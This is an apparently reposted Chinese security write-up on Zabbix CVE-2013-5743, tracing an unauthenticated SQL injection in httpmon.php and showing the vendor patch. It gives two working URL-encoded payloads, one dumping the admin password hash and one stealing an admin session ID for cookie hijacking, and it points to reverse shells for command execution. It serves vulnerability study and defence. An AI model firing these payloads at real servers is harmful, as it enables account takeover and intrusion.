Zabbix SQL Injection/RCE – CVE-2013-5743

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: from:https://www.corelan.be/index.php/2013/10/04/zabbix-sql-injectionrce-cve-2013-5743/0x00 背景该漏洞于2013年9月11号提交,9月23号得到确认,10月2号发布补丁。

from:https://www.corelan.be/index.php/2013/10/04/zabbix-sql-injectionrce-cve-2013-5743/

0x00 背景


该漏洞于2013年9月11号提交,9月23号得到确认,10月2号发布补丁。

新出的0day,可以通过sql注入直接进入后台,并执行系统命令。

该漏洞已有metasploit利用模块,请使用Zabbix的公司注意及时打补丁。

0x01 利用细节


该漏洞存在于httpmon.php脚本中,未登录用户也可访问。

这是由于Zabbix预先设定了一个guest用户,未登录用户都被设定为guest用户的访问权限。

如果guest用户被禁用,将不能访问httpmon.php脚本,利用该漏洞。

可以在管理员的管理面板中禁用guest用户。

从下图中可以看出来applications参数存在sql注入。

enter image description here

查看源代码:

1
2
3
foreach ( $_REQUEST [ 'applications' ] as $application ) { 
      add2favorites( 'web.httpmon.applications' , $application ); 
      }

进入了$application变量中,跟踪add2favorites函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function add2favorites( $favobj , $favid , $source = null) { 
      $favorites = get_favorites( $favobj ); 
      foreach ( $favorites as $favorite ) { 
           if ( $favorite [ 'source' ] == $source && $favorite [ 'value' ] == $favid ) { 
           return true; 
          
     
      DBstart(); 
      $values = array
           'profileid' => get_dbid( 'profiles' , 'profileid' ), 
           'userid' => CWebUser:: $data [ 'userid' ], 
           'idx' => zbx_dbstr( $favobj ), 
           'value_id' => $favid ,
           'type' => PROFILE_TYPE_ID 
);

进入$values数组的value_id中,再往下跟踪就可以发现变量没有经过任何过滤进入到sql语句中:

1
return DBend(DBexecute( 'INSERT INTO profiles (' .implode( ', ' , array_keys ( $values )). ') VALUES (' .implode( ', ' , $values ). ')' ));

最新,Zabbix的补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Index: frontends/php/ include /profiles.inc.php
===================================================================
--- frontends/php/ include /profiles.inc.php  (revision 38884)
+++ frontends/php/ include /profiles.inc.php  (working copy )
@@ -148,9 +148,9 @@
             'profileid' => get_dbid( 'profiles' , 'profileid' ),
             'userid' => self:: $userDetails [ 'userid' ],
             'idx' => zbx_dbstr( $idx ),
-           $value_type => ( $value_type == 'value_str' ) ? zbx_dbstr( $value ) : $value ,
-           'type' => $type ,
-           'idx2' => $idx2
+           $value_type => zbx_dbstr( $value ),
+           'type' => zbx_dbstr( $type ),
+           'idx2' => zbx_dbstr( $idx2 )
         );
         return DBexecute( 'INSERT INTO profiles (' .implode( ', ' , array_keys ( $values )). ') VALUES (' .implode( ', ' , $values ). ')' ); // string value prepearing
  
if (isset( $DB [ 'TYPE' ]) && $DB [ 'TYPE' ] == ZBX_DB_MYSQL) {
     function zbx_dbstr( $var ) {
         if ( is_array ( $var )) {
             foreach ( $var as $vnum => $value ) {
                 $var [ $vnum ] = "'" .mysql_real_escape_string( $value ). "'" ;
             }
             return $var ;
         }
         return "'" .mysql_real_escape_string( $var ). "'" ;
     }

变量处理经过了一层mysql_real_escape_string函数的过滤。

在上面那个漏洞中,下面的语句可以读取管理员的用户名与密码md5的hash值:

http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

enter image description here

成功获取,但是如果管理员的密码过于复杂,md5碰撞不出来明文的怎么办呢?

发现Zabbix的数据库中还保存了用户的session值,它们似乎都不会失效,除非用户点击了退出登录。

下图展示了数据库中sessions表保存的内容:

enter image description here

那我们直接注入获取管理员的session值,直接登录吧,无需碰撞md5的hash了。

http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29

enter image description here

用获取到的session替换cookie中zbx_sessionid中的值:

enter image description here

然后就登陆成功:

enter image description here

管理员进入后可以命令执行具体方法wooyun上已经有了:

WooYun: sohu的zabbix,可导致内网渗透

也可以直接反弹shell执行命令方便很多,具体姿势可以参考:

反弹shell的十种姿势

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
8月前
|
SQL 存储 安全
【网络安全】护网系列-web漏洞(SQl、RCE、XSS)
【网络安全】护网系列-web漏洞(SQl、RCE、XSS)
349 0
|
SQL 安全 PHP
Citrix XenCenterWeb (XSS/SQL/RCE) Multiple Remote Vulnerabilitiesv
原始出处:milw0rm.comSecure Network - Security Research AdvisoryVuln name: Citrix XenCenterWeb Multi...
1112 0
|
12天前
|
SQL 人工智能 算法
【SQL server】玩转SQL server数据库:第二章 关系数据库
【SQL server】玩转SQL server数据库:第二章 关系数据库
52 10
|
1月前
|
SQL 数据库 数据安全/隐私保护
Sql Server数据库Sa密码如何修改
Sql Server数据库Sa密码如何修改
|
2月前
|
SQL 算法 数据库
【数据库SQL server】关系数据库标准语言SQL之数据查询
【数据库SQL server】关系数据库标准语言SQL之数据查询
96 0
|
22天前
|
SQL
启动mysq异常The server quit without updating PID file [FAILED]sql/data/***.pi根本解决方案
启动mysq异常The server quit without updating PID file [FAILED]sql/data/***.pi根本解决方案
17 0
|
12天前
|
SQL 算法 数据库
【SQL server】玩转SQL server数据库:第三章 关系数据库标准语言SQL(二)数据查询
【SQL server】玩转SQL server数据库:第三章 关系数据库标准语言SQL(二)数据查询
78 6
|
8天前
|
SQL 安全 网络安全
IDEA DataGrip连接sqlserver 提示驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接的解决方法
IDEA DataGrip连接sqlserver 提示驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接的解决方法
19 0
|
13天前
|
SQL 存储 数据挖掘
数据库数据恢复—RAID5上层Sql Server数据库数据恢复案例
服务器数据恢复环境: 一台安装windows server操作系统的服务器。一组由8块硬盘组建的RAID5,划分LUN供这台服务器使用。 在windows服务器内装有SqlServer数据库。存储空间LUN划分了两个逻辑分区。 服务器故障&初检: 由于未知原因,Sql Server数据库文件丢失,丢失数据涉及到3个库,表的数量有3000左右。数据库文件丢失原因还没有查清楚,也不能确定数据存储位置。 数据库文件丢失后服务器仍处于开机状态,所幸没有大量数据写入。 将raid5中所有磁盘编号后取出,经过硬件工程师检测,没有发现明显的硬件故障。以只读方式将所有磁盘进行扇区级的全盘镜像,镜像完成后将所
数据库数据恢复—RAID5上层Sql Server数据库数据恢复案例
|
17天前
|
SQL 数据安全/隐私保护
SQL Server 2016安装教程
SQL Server 2016安装教程
19 1

推荐镜像

更多